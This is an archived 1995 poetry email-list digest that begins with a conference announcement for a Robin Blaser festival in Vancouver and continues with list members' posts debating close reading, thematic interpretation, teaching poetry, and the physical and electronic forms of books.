Works from 1945-1965 by Robin Blaser, Jess, Fran Herndon and many others; curated by Scott Watson and Greg Bellerby at the Charles H. Scott Gallery. June 1 - 25

The Banquet
A Feast of Companions
Hosted by Kevin Killian and Ellen Tallman; prepared under the culinary supervision of Chef Brian DeBeck. Friday, June 2

Some Invited Guests

Charles Bernstein, E.D. Blodgett, Bruce Boone, George Bowering, David Bromige, Colin Browne, Don Byrd, Norma Cole, Peter Culley, Michael Davidson, Rachel Blau DuPlessis, Clayton Eshleman, Deanna Ferguson, Peter Gizzi, Robert Hogg, Susan Howe, Pierre Joris, Paul Kelley, Kevin Killian, Joanne Kyger, Steve McCaffery, Karen MacCormack, Michael McClure, Nathaniel Mackey, Daphne Marlatt, Miriam Nichols, Michael Ondaatje, Michael Palmer, Peter Quartermain, Jed Rasula, Lisa Robertson, Jerome Rothenberg, Leslie Scalapino, Andrew Schelling, Aaron Shurin, George Stanley, Catriona Strang, Ellen Tallman, Nathaniel Tarn, Sharon Thesen, Lola Tostevin, Pasquale Verdicchio, Fred Wah, Anne Waldman, Phyllis Webb, Jery Zaslove, Zonko,

and Robin Blaser.

Sponsored By
*The Institute for the Humanities, Simon Fraser University * The*

*Vice-President Academic, Simon Fraser University * The W.A.C. Bennett Library, Simon Fraser University * The Canada Council * The Charles H. Scott Gallery, Emily Carr Institute of Art and Design * The Fine Arts Gallery, University of British Columbia * The University College of the Fraser Valley * The Kootenay School of Writing * The Western Front * The Charles Olson Society*

Inquiries
Phone (voice mail) [redacted]
Fax [redacted]

Registration Fees
Entire package $100
(including Panels, Readings and Banquet)

Panels and Readings only $80

Students and fixed incomes $60, $40

Banquet only $25

Please pay in Canadian funds. Depending on registration, tickets to individual readings will be available at the door of each reading.

This event is being organized by volunteers; if it is to be everything we hope for, we're going to need a little help from our friends. Tax receipts will be issued on request for all donations and each donor will be listed in the program as

A Companion donating $500 or more: your name will be listed in the program; you'll receive a signed limited edition poster designed by the artist, Christos Dikeakos, all publications resulting from the conference and preferred seating at all events.

An Ideal Reader donating $250: your name will be listed in the program; you'll receive a signed poster and preferred seating at all events.
A Friend donating $150: your name will be listed in the program; you'll receive a pass to all events and an unsigned poster.

A Pal donating $50: your name will be listed in the program and you'll receive a pass to the banquet. Smaller donations are also welcome; you'll have the satisfaction of knowing you've helped make this festival possible.

For a brochure giving information about some recommended hotels and a tear-off registration form, please send your name and regular

mail address to:

The Recovery of the Public World
The Institute for the Humanities
Simon Fraser University
Burnaby, B.C. Canada V5A 1S6

or send an e-message to [redacted]

A reminder: Please note that seating is limited at this conference. If you plan to register, please try to do so by May 1, 1995.

Some Late Additions:

We have added two panels to the conference schedule, names of the panels and their chairs to be announced. The conference will thus begin on the morning of Thursday, June 1st. We're in the process of notifying those whose papers have been chosen for a panel. We're now working out the scheduling of panels and other conference events, and we'll publish a conference/festival programme when we have these details worked out. I'll post the programme information on this list at the same time. Inquiries can also be sent to me at cwatts.sfu.ca. If you have sent us a proposal (and you're wondering what happened to it), we should be able to let you know whether or not it has been accepted for a panel in about a week's time. Please be patient: the process of selecting panelists has been complex and lengthy, but some remarkable panels are coming out of it.

Charles Watts for the conference/festival organizers

Date: Thu, 9 Mar 1995 15:57:55 CST6CDT
From: Hank Lazer <[redacted]>
Subject: close reading

I've thoroughly enjoyed the postings of the last several days. I find the list taking more and more of my time, but I am learning and engaged. Thanks to all.

When I was at the conference in Louisville, it was great to meet a number of you that I'd had only known via e.

Of the current discussion, probably winding down?, on close reading, I wanted to raise a related issue. Peter had asked what would be the opposite of close reading. Inattentive reading? Non-intensive reading? As others have pointed out, the allegedly conservative nature of close reading has to do with its institutionalization via a textbook: Understanding Poetry. (It's my mpression, that Jed Rasula's forthcoming? just released? book will discuss this history.) In my opinion, recent theory "advances," particularly those stemming from deconstruction, have, in a different context, reiterated "close reading" methodologies, but with much greater play and with different metaphysical stakes.

But the issue that I would like to raise is the relationship of close reading to theme-based reading. It seems to me that much close reading ultimately gets down to a process of unification of the explanation of the poem by means of a thematized understanding. While much (most? all?) newer/innovative/experimental (take your pick) poetries have to one degree or another overthrown such habits of unification and closure, many discussions of poetry end up defending "new" poetries as having rather traditional modes of meaning (as theme). As various of y'all have pointed out, cultural and contextual readings DO lead in different directions (and sometime away from a close consideration of that great new critical polestar, the text itself). But even so, especially in the domain of the multicultural, many readings boil down to assertions about "content" (a close cousin of "theme").

In one of my poems in Doublespace, I had written that to be "thematized is demonized."

Is close reading inevitably tied to "theme"? Is "thematizing" inevitably associated with retro modes of mastery--a kind of

strip-mining of the text?

More later.

Hank Lazer

Date: Thu, 9 Mar 1995 16:14:09 -0600
From: "Eric M. Gleason" <[redacted]>
Subject: Re: Teaching close reading

From a student's point of view...reading one or two shorter poems and discussing them for an entire class (or more) can be much more effective than parsing longer works. Although part of this is because I started as an engineering major and have an attention span accordingly...i find it easier to become intimate with a shorter work, especially when the author or style is new to me. After I get a couple pages into a poem i start to remember less and less, and have more trouble discussing and understanding the discussion of the work.

--
_____
"I was a teenage monkey wrench

Eryque "I know I spell my name wrong but that's no reason to hurt me!" Gleason

[redacted]

Date: Thu, 9 Mar 1995 17:54:03 -0500
From: Edward Foster <[redacted]>
Subject: Re: more on close reading

if "close reading" indicates "correct reading," it is authoritarian. but then, who's to say what's "close"?

Date: Thu, 9 Mar 1995 13:20:14 -1000
From: Gabrielle Welford <[redacted]>
Subject: Lobbying for the NEH/NEA (fwd)

A message some of you may not have seen. Gabrielle

> *Tell me if I'm steaming up the airways...*
>
> *---------- Forwarded message ----------*
> *I'd like to share with all of you a letter I received this week. I wonder if you will find it as disturbing as I did. Because of my participation in the NEH Summer Seminars for Teachers (I studied William James' _Varieties of Religious Experience_ at FSU last summer), I'm on the NEH mailing list, and this week I got a letter from NEH which said, in part, the following:*
> *"In recent testimony before the House Interior Appropriations Subcommittee former Chairman of the NEH William J. Bennett singled out the Summer Seminars for School Teachers as an example of one of the ways the NEH has had 'a deleterious effect on our culture.' This criticism was unexpected. Nothing we have seen in the program's thirteen years of existence had suggested that these seminars were anything other than successful by any measure."*
>
> *The letter went on to ask former seminar participants to comment on the validity of the criticism based on our experience. It also included the text of Mr. Bennett's comments on the subject, and those are what I really want you to see, since you may not have been aware of them. Mr. Bennett, by the way, is also the author of the bestselling _Book of Virtue_. Here is what he had to say about the seminars in a general attack on NEA and NEH:*
>
> *"...how could the two Endowments hope to serve a larger civic role when they have not improved the quality of the arts and humanities since 1965? There is no question in my mind that things have gotten much worse in these realms during the last three decades.. Some of the dominant movements that have swept through the arts and humanities world include the radical nihilism of post-modern art; homosexual and lesbian self-celebration; Marxism; neo-Marxism; radical feminism and multiculturalism; deconstructionism; and var*

Tom White
Phone: [redacted]
Fax: [redacted]

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131. Bill Luoma
Re: More on close reading
Fri 10 Mar 1995

Joe,

I'm glad to you you being persistent. I'm interested. Where can we get a hold of more of margaret a. syverson's work?

Also, have you ever heard of Vivian Zamel, a composition theorist?

Bill Luoma

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132. Lisa Samuels
close reading
Fri 10 Mar 1995

Hank's question about the thematizing of close reading prompts me to make a point which partly echoes Keith Tuma's posting of earlier this week. though 'experimental criticism' allows, or anyway tries to allow, for uncertainty, for embracing 'the inadequacy of our explanatory paradigms' (Charles B's =Artifice=), the majority of =published= readings of literature aims -- must aim, for respectability if not for very publishability -- to demonstrate that its readings & therefore its conclusions are the BEST way of seeing particular texts. (which seems to come, in some dark past way, from religious methods of textual explication: in order for us to be right, everyone else has to be wrong, but must also have to do with the human desire to have a right answer, & to be the one who provides it.) that's obvious enough, but it made me think that the academy has two types of close reading: one publishable and one pedagogical (or speculative, say). the latter may be the realm of free play, the one we happily teach to students, the 'isn't it interesting to consider what happens when we pay attention to these lines in this way'; but the former is still mostly stuck in the justifying, & therefore almost inevitably thematizing (line 'meanings' lead to poem 'meanings' lead to thematic meanings lead to historical, contextual, &c meanings, to sew up everything), mode of close reading, the one in which 'when we say of something that it is true, we say that it has stopped' (to use Alan Davies' formulation, in =Signage=, of how static the notion of truth is for us moderns). the published realm of close reading, then, has an off-putting rigidity, =historically=, while the pedagogical one is a beautiful & permitting part of reading language.

isn't this fun?

Lisa Samuels

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133. Edward Foster
Re: POETICS Digest - 8 Mar 1995 to 9 Mar 1995
Fri 10 Mar 1995

"what's actually there, materially"? oh, come on, marjorie. it's a game, sometimes serious, with its own rules. "empirically," "actually," "materially." all these absolutes!

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134. Joe Amato
Re: close reading
Fri 10 Mar 1995

if this discussion re close reading is polarized twixt 1) anything goes and 2) only an unidentified number of "best" readings goes, then i guess i'm forced into category 1... but as a member of same, i'd want to push for a general recognition that "anything goes" is only a theoretical, or better, hypothetical assertion... in (pedagogical, publishing, communal and other) actuality, there are some "readings" that just ain't gonna fly, period.

i do believe, further, that a few of the more professorial among us (tenney, marjorie, myself), and not to privilege this latter category AT ALL, are struck by how few rhetorical skills are actually learned by undergrads. these days... for the sake of simplicity, let's just say that a general level of syntactic awareness, say, constitutes a rhetoric (that is, that grammatical analysis constitutes a rhetoric)... perhaps this is desirable in some situations, undesirable in others... but to argue against same, again, as a member of category 1 above, just doesn't make sense to me... i.e., category 1 does not preempt the usefulness of this particular rhetoric...

but to abandon my binary altogether: i must confess to being somewhat perturbed when faced with folks who are incapable? or just unwilling? EVER to deal with a text in whatever terms "close reading" implies... just kinda bugged, is all, and i certainly wouldn't want, esp. in these academic climes, to position myself *agains* ideological readings... lord knows this plays into the hands of some folks i'm in utter(ance) disagreement with... that was *against*, of course, damn line editor... anyway, close reading or not (of this post), you all follow me here i'm sure...

why not admit to the usefulness of close readings, however defined, at a general rhetorical level?...

joe

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135. Gabrielle Welford
Re: POETICS Digest - 27 Feb 1995 to 28 Feb 1995
Fri 10 Mar 1995

Ah, no. Don't put the extended in-jokes on another list. I'm in the middle of the Pacific too. And I like them. Maybe it's because I used to live in Albany...? (Sorry Susan :-)...)

Gabrielle

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136. Joe Amato
Re: More on close reading
Fri 10 Mar 1995

bill, no, i don't know zamel... i don't know where peg syverson is at the moment, i'll try to find out (though i'm certain *somebody* at ucsd knows)... some of her work was published in _sagetrieb_, but am on a captain video terminal at the moment and don't have any resources around... hey, my system goes down at 6 pm this eve., so if you respond and i don't, it's not that i'm not responding... er, i mean, i'm not responding, but---

thanks for the kind words...

best,

joe

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137. Eric M. Gleason
Re: more on close reading
Fri 10 Mar 1995

Edward Foster>if "close reading" indicates "correct reading," it is authoritarian. but then, who's to say what's "close"?

Who's to say what's "correct"? Mebbe we all have a similar idea of what's "authoritarian"?

Eryque

--

_____

"I was a teenage monkey wrench

Eryque "I know I spell my name wrong but that's no reason to hurt me!" Gleason

[redacted]

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138. Edward Foster
Re: more on close reading
Fri 10 Mar 1995

i don't know the answer, eryque, but the candidates announce themselves, all the time.

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139. **Eliot Katz**

more on close reading, theory, politics, etc.

Fri 10 Mar 1995

Before I go off on different tracks, I'd like to ask those who've noted a lack of undergrad ability to do close reading whether they think that correlates with an increased student understanding of history, current events, political theory & other matters of social context, or whether they find it part of a more overarching crisis in U.S. education? I'm also assuming there are many thousands of exceptions, am I too naive? Regarding close reading, Kathe Davis wrote: "Anything can be TAUGHT tyrannically, but there is nothing INHERENTLY tyrannical in being urged to be more aware." I totally agree. (Perhaps contemporary critics exaggerate the New Critics' lack of concern for social context? Were New Critics also exaggerating predecessors' lack of attention to textual matters?) Overall, I don't really think any particular style of literary criticism, nor any particular style of poetry for that matter, is inherently progressive or reactionary. For instance, among deconstructionist literary critics, as among the modernist poets, politics ranges from democratic left to fascist. I think we always have to try to avoid *a priori* assumptions based merely on form or style, and take an actual look at the particular work (again, both its internal & external dynamics) & make a case for our reading or judgment of it. (Re the matter of attaching inherent political qualities to literary styles, let me begin to walk out on what is definitely a tangent & possibly a limb...) I think one tendency that can lead to imposing *a priori* political labels, often used to dismiss certain styles of criticism or poetry out-of-hand, is a tendency to conflate conceptual categories. This seems pretty common today. One of my favorite contemporary examples is the post-structuralist theorist, Lyotard's (highly influential, I think) conflation of the philosophical concept of totality with the political system of totalitarianism. Besides conflating categories, that equation also seems mistaken on the practical level, since the concept of totality was used (among others) by some marxist thinkers who were clearly theorizing the extension of democracy into all spheres of public life (e.g. extending democratic rights to the working class) to ensure that no leaders could remain unaccountable or outside the rule of law & in order to safeguard diversity. As Daniel Singer has pointed out: during Rosa Luxemburg's day, using the phrase "democratic socialism" would have been like saying "buttery butter." No matter what other disagreements one might have with some of these theorists (e.g. problems with teleology, orthodoxy, etc.), many were clearly working for a *more* democratic society, not a less democratic one--and it seems silly to blame these theories of extending democracy for the eventual and often-horrific development of "actually existing

socialism" in the Soviet bloc. (Walking further out toward the limb's edge?...) This conflation of categories also seems to me to occur in some language poetry theory where traditional narrative & syntax structures are sometimes conflated with the rules of the existing state--rules that interconnect with language structures, of course, but that aren't reducible to language structures. (I'd appreciate corrections here, since I'm still trying to learn this stuff...) In this argument, as I understand it, breaking the dominant rules of syntax (or creating non-narratives or anti-narratives in Jerome McGann's formulation) is seen as an inherently radical act. But it seems to me that both narratives and anti-narratives can be used for different purposes--both potentially able either to help promote notions of progressive social change or to help protect the status quo. (Re the latter, I think of TV commercials that appropriate techniques of modernist juxtaposition; corporate paper shredders; government documents & speeches that are filled with huge gaps in narrative & logic, sometimes foregrounding language at the expense of content, in order to mystify the public or maintain plausible deniability; etc.) I think part of the tendency among poets (myself included) & literary theorists to conflate conceptual categories (esp. the literary & the political) is the result of some part of us hoping that our writings might by themselves transform the often-distressing political reality of our day. But, as much as I wish as a poet that I could believe in "magic bullet poems," or, more to my political preference, "magic nonviolent civil disobedience poems," or even "magic post-structuralist deconstuction of oppressive state apparatus poems"; and as much as I think terrific poems often derive a good deal of their energy from their attempt to achieve such a magic transgressive political ability; it seems to me more helpful & honest to think (heuristically) of categories like poetry, politics, economics, etc. as distinct spheres that interrelate in complex and mediated ways--i.e. spheres that are not conflated but not autonomous either. The fun & challenging part then is to explore the ways they do (& might possibly) interrelate under particular (past, present or future) circumstances. For example, one can consider ways in which particular poems might interconnect with social context by raising an audience's political consciousness, inspiring alternative ways of thinking, urging commitment, offering shrewd historical critique, envisioning healthier social reconstructions, etc. I don't think contextualizing precludes "close reading," since I don't really think it's possible to talk about a poem's relation to social context without looking at the text's internal dynamics. Poems, then, written in a wide variety of forms and styles, including poems that explode traditional syntax & also poems that use traditional syntax, can potentially be seen to contain emancipatory elements which a reader or critic (using a variety of critical styles) can draw out. That doesn't mean that all poems will contain emancipatory elements, but just that one has to be open-minded enough about questions of form & style to actually

look. One nice thing about avoiding the conflation of literature & politics is that different criteria for evaluating poetic and political realms become possible. (I guess I feel post-structuralism & langpo theory have done a valuable job in helping to correct what may have been an overly determinate way of reading literary texts, but added a not-very-helpful overly indeterminate criteria for judging politics.) Poetry is free to eXpeRimeNt without getting called petit-bourgeois, too esoteric (or too didactic) or some such *a priori* label often meant to dismiss a poem so that one doesn't need to read it. (Poetry is also free to explore lots of areas besides politics, and also to offer pleasure, etc.) At the same time, more determinate and normative judgments are possible in the realm of politics in order to arrive at (to even debate) bases for united actions, common principles & platforms, agreed-upon strategies & democratic structures, etc.--all the stuff required to build the sort of organized political movements that are ultimately needed (along with raised public consciousness) to create lasting radical, truly democratic & egalitarian social change.
Sorry for the ridiculous length of this post. I'll go back to sitting on the sidelines for awhile. Sincerely, E. Katz

(If anyone's interested, re my last post, Stephen Bronner attributes the internal dynamic & external dynamic phraseology to an Austrian philosopher, Max Adler, whose book in German on Marx and Kant hasn't yet been translated into English.)

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140. Mn Center For Book Arts

Re: close readings

Fri 10 Mar 1995

Marjorie Perloff refers to the difficulty of students in talking why the line breaks where it does, where something is placed on a page and what that means, and the like. I have wanted, in reent years, to turn a part of the discussion concerning poems to their contexts. For me, as a bookmaker as well as reader & writer, this means the physical context. That may mean that everything the author puts in the work has a meaning, which is particularly evident in recent readings of Emily Dickinson's manuscripts. But is authorial intention everything? What about choice of paper/type/spacing? What about sky poems? What about poems in public places? What about the sound of the page turning? Is there such a thing as the physicality of meaning? These issues are certainly crucial to the book arts and to the design arts (not the same thing, by any means), and both of these arts may be in partnership with literary texts in various ways. Is there any reality to the literary text outside its actual physical manifestation? If so, what, and is that different than the physical presence, and that would be exciting to talk about as well.

I'm afraid I have many more questions than answers here, but I do wonder if these are issues others wish to talk about. And is this just an extension of close reading? really close reading . . .

charles alexander

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141. **Kathe Davis**
Re: POETICS Digest - 8 Mar 1995 to 9 Mar 1995
Fri 10 Mar 1995

What's absolute about the empirical, the actual, the material? But here we are, now, and we have to play it as it lays, play things as they are, on the blue abso lute. k davis

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142. **cris cheek**
the berm
Fri 10 Mar 1995

I've looked at Patrick Phillips' subtrafuge massage several tomes and each has read like (I misquote) "relish (or undernourish) the berm" is being spoken by Peter Sellars (in upper crust pronouncing of bomb - and so on to labours that point). As we say in England 'who's got hard shoulders?

Who's for 'the central reservation'?

Wow (or whew), that was close! The irony is that was raised.

cris

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143. **Wystan Curnow**
Re: close readings
Fri 10 Mar 1995

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1. I,too, thought Marjorie (hello, Marjorie) had particulars in mind. Not absolutes, and yes some of the writing which engages me because of its relation to my own writing concerns draws 'the support' into the text.

2. Close reading. Have we yet had information on the origin of the phrase? Who, if anyone, used it first for the purposes we think we recognise?

3. Close reading is not close listening. The New Critical education I received, which I have to say I am grateful for-- at l8 I was a pretty capable reader of Donne, of Stevens ...-- was entirely semantic in its approach. I only learnt to

HEAR poetry later, and from the poet's read- ing work in public. There was no voice. And then I found out about the Formalists (Russians) who did listen, but no one at my graduate school knew anything of them.

4. Other particulars: close reading in what context? Or, is it ONLY the classroom context that's at issue? I mean is the concept useful, meaningful, when discussing our own reading. At any rate, IF that's so, what of that context? Among other things it is a place where good ideas get ruined. Including methods of reading. I remember Mel Bochner (remember Mel Bochner?) saying teaching was throwing fake pearls before real swine!

5. A note re. theory. I'm for the close reading of theory, of for theoretical texts which demand it. (demand?)

Wystan

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144. Kenneth Goldsmith
Lang Po Top Ten List
Sat 11 Mar 1995

What are the ten most important Language Poetry books and why?

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145. Jonathan Brannen
Re: close readings
Sat 11 Mar 1995

My experiences teaching poetry were not unlike Marjorie's (hello, Marjorie). None of the students had ever previously been expected to actually look and listen to the poem and consider it own its own terms. They were all experienced at translating English into English (thematic discourse, what the poet might have said if s/he had a more limited vocabulary and a pressing desire to please an instructor) or they were eager to place the work in a theoritical context and then discuss that context rather than the poem. They had all caught the mysterious fear of poems disease from prior instructors. I suggested that they read poetry the same way they listen to music (college students listen to a lot of music). I was amazed, but this actually worked better than I could have expected. When presented with the poem as an experience, and something with a event with the potential to alter perception, they related to it that way. The poem ceased to be a trick question on some future exam and became a work that they could enter into. I'm mentioning this because when they realized that a poem was an act of language and they were at liberty to be affected by it rather than jumping through somebody else's hoops, they became

fascinated by how the poem created that effect, the mechanics of the piece. When they figured out for themselves in class how John Ashbery's line breaks work, you could almost literally see the cartoon lightbulbs coming on as they explained it to each other. s*%w D] 2 _. JGj3P Vx2T4 -fpo/ Op [A [A

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146. Sheila Murphy
Text and Sounds and Words and...
Sat 11 Mar 1995

I'm very much interested in pursuing what Charles Alexander has raised beginning with physical context, and then listening and watching for all of the "beyonds" that come from that. There seem to be so many experiences possible with the sharing of words and the ranges of intimacy or of widest co-experiencing seem deliciously infinite. It seems that as we increasingly venture into the virtual, the more physical experiences (of, say, reading and touching a beautifully made physical book) seem more to be savored. I guess that what is happening for me is that simultaneously a multiplex of experiences become possible. And I need to be more fluent to be able to appreciate as I'd like all the different way things reach me and the ways that I might participate in these vehicles. All the modes are different, no one better or worse inherently, but each requiring procedures, approaches appropriate to it..

Add to that the challenges of an instructional setting, and the plot thickens! As all of the possibilities change, so have the students' expectations/level of preparation/predispositions.

Thinking aloud on this one, simply. Level of casualness about how a thing, a word, a message is offered probably is connected to how it is valued, too, further complicating the issue.

Well. It's late enough. I'm enjoying what I hear on the list more and more these days. Enriching.

Sheila

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147. Gary Sullivan
Re: Charles Alexander's post
Sat 11 Mar 1995

Thanks, Charles, for bringing up the physical context (or manifestation) of the poem as carrier of meaning. The first books of poetry I responded to (after college) were those Kulchur Press editions, often with drawings, cartoons, scrawled things, the books themselves of a particular bulk, very "present" *as*

books, without actually being (necessarily) "artists' books." Looking back, I'm not so sure it was the poetry itself I was enjoying so much (though I did, especially _Bean Spasms_ and _Album_) as the fact that these books were not "transparent" in the way that many (uniformly produced) books are. Reading _Defenestration of Prague_ in the Kulchur edition (which I stupidly sold, thinking I'd re-find it) was more of an experience, more memorable to me, than reading the piece in the Sun & Moon reprint, "down-sized," uniform with most other S&Ms. (Whether it matters to Howe how the work appears or not.) Someone told me that Olson wrote, or at least "set," _Maximus_ for the page, that his attention to the page as unit (at least in this instance) was as intentional as that of his line. (Anyone with better info, again, please jump in.) This person also told me that he thought the poems could be reset for a smaller page (as in the New Directions _Selected Writings_) with different, but equally satisfying effects. Whether or not my friend's correct about Olson's intentions, it *is* a wholly different effect reading the work IN LARGE in the UC edition. Then, of course, there are the people like Sir Walter Ralegh or Donne, many of whose poems were, originally, scored as letters, were (so I'm told) considered *published* as letters. Publishing, in the strict sense, was (again, so I'm told, please correct or expand) considered, by some, "professional," & that in an almost purely derogatory sense. As much as I like it, I wonder sometimes, reading Frank O'Hara's _Collected Poems_, if I'm not doing the poor guy something of a disservice, that book seeming to exist in near- absolute opposition to O'Hara's (another letter-poem writer) *intention* for those poems. But, this was something that didn't come up for me until I'd found (very luckily) first eds of _Love Poems (Tentative Title)_, _Lunch Poems_, _Second Avenue_, the material he'd seen in print in his lifetime. That's obviously speculation on my part, but it is true that reading these things as "originally published" (already one step removed from hand or typewriter), especially _Love Poems_, I get more of a sense of *how* he was a "personal" poet (however tongue-in-cheek "Personism" may have been). Much of what's most powerful in _Love Poems (Tentative Title)_ seems (to me) washed out reading those same poems in the _Collected_. There's something "authoritarian" about that giant book, an odd thing for someone who'd put "(Tentative Title)" into a title of a published volume of poetry. So, yes, I do (personally) agree there's meaning in a poem's physical manifestation. Poetry is largely "about" presence (even conscious attempts to distance oneself from or remove altogether "ego"--well, that's an issue of "presence"), so consideration of a poem's presence seems not only perfectly valid, but worth further exploration. In a way--maybe something of a leap--some of the earlier posts about community or lack thereof, about the nature of the poetry "world" itself, seem equally germane with respect to considerations of poetry's "meaning." Books of poetry, magazines, even discussions of poetry, never simply "arrive." The question, I guess,

might be: at what point do you lose rather than gain in drawing in all of these other variables? I don't know, but think the net can be larger than we often allow.

Yours,

Gary

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148. Mn Center For Book Arts

Re: Lang Po Top Ten List

Sat 11 Mar 1995

On Sat, 11 Mar 1995, Kenneth Goldsmith wrote:

> What are the ten most important Language Poetry books and why?
>

Most important, in what sense? Best to prop a window open with? Keeps a fire burning longest, in which case the quality of the paper used may plan a part?

My choices as a writer may be different than another's, certainly different than someone else's as a teacher, & my choices as a bookmaker may take into consideration limited editions which bring the visual into the verbal in books of such small circulation that there may be none or at most a few on this list who have seen them -- in my mind that makes them no less "important" than an edition which sells 20,000.

Also it seems to me that only someone not particularly involved with so-called Language Poetry would put the request in such a way. To poets who make up the enlarged group, many of whom detest the moniker, our reading of Beowulf or Christopher Smart may provide as much generative energy as our reading of Rae Armantrout or Carla Harryman. I'd be more interested in such lists which are expansive rather than reductive, although I'll admit it might be nice to see a list or lists of people's favorite ten little-known-but-once-discovered-not-to-be-missed tomes.

But "most important?" Read, she sd, and by all means DON'T look out where yr going.

charles alexander

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149. Mn Center For Book Arts
Re: Charles Alexander's post
Sat 11 Mar 1995

Gary, you are getting into rich territory concerning what it means "to read," i.e. that there is always a context, and that certainly not limited to the physical book or page, but yes, involving how one came to the work, real people, and more. I don't have time to get into this tonight, but wanted to say that I found your comments on O'Hara lovely and stimulating. Also to add that even reading Olson in the big California edition is a far cry from reading the original editions which, while they don't gather as many pages, are printed on pages with more bulk, with covers which have real texture, so that, altogether, they seem to occupy more territory. This, too, would be quite different than coming across those Olson poems in letters and manuscripts. But certainly one reads into the New Directions Selected the black & white aesthetic of that press, which seems quite foreign to Olson, and one reads into the California edition, despite the spacious size of the book, a slick jacketed university/corporate packaging, getting even farther from that "excessively rough moraine" (Letter #41) which, in its bulky and shapely manifestation, is the Olson I always hear (interesting how even the physical book or context of reading remains, as do the texts, in one's memory, which is where the work remains, as books are closed for more than 99% of their lives).

charles alexander

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150. Thomas Bell
Re: Text and Sounds and Words and...
Sat 11 Mar 1995

Two comments:

One of the interesting things about poetry posted on the net is that it can be downloaded and manipulated: fonts, size, spacing, etc. This allows the reader to be an active reader, indeed.

In the course of rereading some of Charles Olson's work and writings I came across two items of interest.

1.) In "Projective Verse" (_Poetry New York_, 1950) he wrote: "If a contemporary poet leaves a space as long as the phrase before.he means that space to be held, by the breath, an equal length of time. If he suspends a word or syllable at the end of a line (this

was most cummings addition) he means that time to pass
that it takes the eye - that hair of time suspended -
to pick up the next line. If he wishes a pause so
light it hardly separates the words, yet does not
want a comma - which is an interruption of the meaning
rather than the sounding of a line - follow him when
he uses a symbol the typewriter has ready to hand:
"What does not change/is the will to change"
Observe him when he takes advantage of the machine's
multiple margins, to juxtapose:

'Sd he:
to dream takes no effort
to think is easy
to act is more difficult

but for a man to act after he has taken thought, this!
is the most difficult thing of all'

Each of these lines is a progressing of both the meaning
and the breathing forward, and then a backing up, without
a progress or any kind of movement outside the unit of
time local to the idea.
...by this emphasis on the typewriter as the
personal and instantaneous recorder of the poet's
work...as though not the eye but the ear was to be
[poetry's] measure, as though the intervals of its
composition could be so carefully put down as to be
precisely the intervals of its registration. For
the ear....can now again, that the poet has his means,
be the threshold of projective verse."

Thomas Bell [redacted]

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151. **John Cayley**

Re: charles alexander's post <-- form

Sat 11 Mar 1995

> *to turn a part*
> *of the discussion concerning poems to their contexts. For me, as a*
> *bookmaker as well as reader & writer, this means the physical context.*
>
> *Is there such a thing*
> *as the physicality of meaning? These issues are certainly crucial to the*
> *book arts and to the design arts, and*

> *both of these arts may be in partnership with literary texts in various ways. Is there any reality to the literary text outside its actual physical manifestation? If so, what, and is that different than the physical presence, and that would be exciting to talk about as well.*

While skimming the 'form' discussion, wished to reiterate that there is an obligation to engage at a =low level= (in the programmer's sense of the term) with form as it is modulated by the technology which we are all now using. Isn't it still the case that we accept these tools handed down to us from on high and then continue to try and carry out our various forms of piracy in the ways we are used to? Isn't there still too much simulation on the literary net and not enough new form?

Now charles alexander's words prompt posting of a short piece written for another context (general readership?):

[

The book is not just a physical object, the essential, definitive icon of our material culture. It is the pre-eminent medium for the storage and delivery of linguistic creation and information. As such it is supremely effective and remarkably convenient. Books are elegant and often beautiful. However, the book is also a metaphor which may invoke any or all of its qualities in order to create new ways of understanding the self. Everyone in the modern world, even those people who share our culture but who were never or are no longer people of the book, everyone must accumulate written paper throughout their lives--scraps, certificates, lists, deeds, forms, letters, and so on -- and may sometimes long to see these fragments organized, made sense of, bound together. For others this longing is central to their existence. The book is, potentially, a body of work, a summation of what you have to say and, finally, of what you are. 'This book is my life's story, the sum of all I know. I put everything into it, body and soul. It's my life itself, and before I pass on I must close it, leaving it behind for others to read and interpret.'

The meaning created by this metaphor is determined by the physical characteristics of the book. This has not been static although its predominant form -- the codex or collection of paper-like leaves bound together so that it can be opened at any point -- has been with us since the second century of our era. Book artists and others have challenged this dominance, but however creative and inspiring the resulting dialogue has proven, it has not undermined the shape of the vital book-as-metaphor in our culture.

Now, later than many predictions would have led us to believe, the book is changing. The word is applied to bodies of text which are stored in electronic libraries, on the ever-spinning magnetic or optical disks of programmable machines. Millions of these machines are already linked on the InterNet.

'Books', 'libraries' -- the use of these words, the inability to find others, demonstrates that the irreducible, defining quality of a book is that it should be a body of work recorded in language without regard to physical form. Thus the metaphor survives but its shape and significance change forever. There is no longer the sense that a book -- as electronic book -- is bound or bounded, that you can see all of it at once, hold it, pick it up, that it has a physical location. It is more difficult to believe that the words of the book are fixed and stable, its author's definitive statement on its subject. Although there is general familiarity with the tools that conveniently allow us to write and edit bodies of text, some people will be less content with the realization that these same tools will allow others to appropriate and even alter what they have created. Many will be unwilling to apply a metaphor to themselves, as once they did, which begins to suggest unboundedness, indeterminacy, openness to the electronically interleaved books of anyone else on the InterNet.

The codex will live on. It is not a question of either or. Both old and new books will coexist. Some writers and book-makers will wish to explore new opportunities offered by the less familiar qualities of unbound, coverless books. Some readers will welcome new ways of understanding themselves in the ghostly, fragmentary, drifting leaves of an evolving metaphor.

]

btw: In one understanding Quakers quake at Friends' meetings (a metaphor for these discussions?) as a physical manifestation of the tension, vacillation, radical self-questioning which arises when a friend realizes s/he has something to say in the context of profound silence.

Are you, virtually, quaking?

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152. Spencer Selby
Re: request
Sat 11 Mar 1995

My unix server's been down for the past several days, but now I think it's OK. Messages that were sent to me, but returned, can now be re-sent. Thanks. Spencer Selby

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153. H. T. KIRBY-SMITH
Close Reading; Authoritarian?
Sat 11 Mar 1995

Close reading certainly need not imply an authoritarian interpretation of a text, but close readings which attempt to impose something on the text which is not there certainly are authoritarian--as are any readings which claim for themselves exclusive and complete accountings of a poem.

If you give a group of people a poem, for example, Williams's "The Yachts," to read closely, you will find that a certain number of them agree that it is about the Race of Life, the competitiveness encouraged by American free enterprise, and the indifference of the winners to the losers, the "horror of the race." But different readers will express this in different ways and will see patterns of imagery, transitions in point of view, rhythmic effects, sound patterns, associations of all kinds. There is an authority, and the authority is the poem itself, but any good poem is rich enough to allow an immense variety of reponses. Some, for example, might even point out that "The Yachts" starts, very uncharacteristically for Williams, in terza rima--a form that he hoped to emulate with his triadic, or "step-down", lines in later poems. But the rhyme pattern is immediately abandoned and the poem itself seems a criticism of established patterns of authority--the initial strict form being emblematic of this.

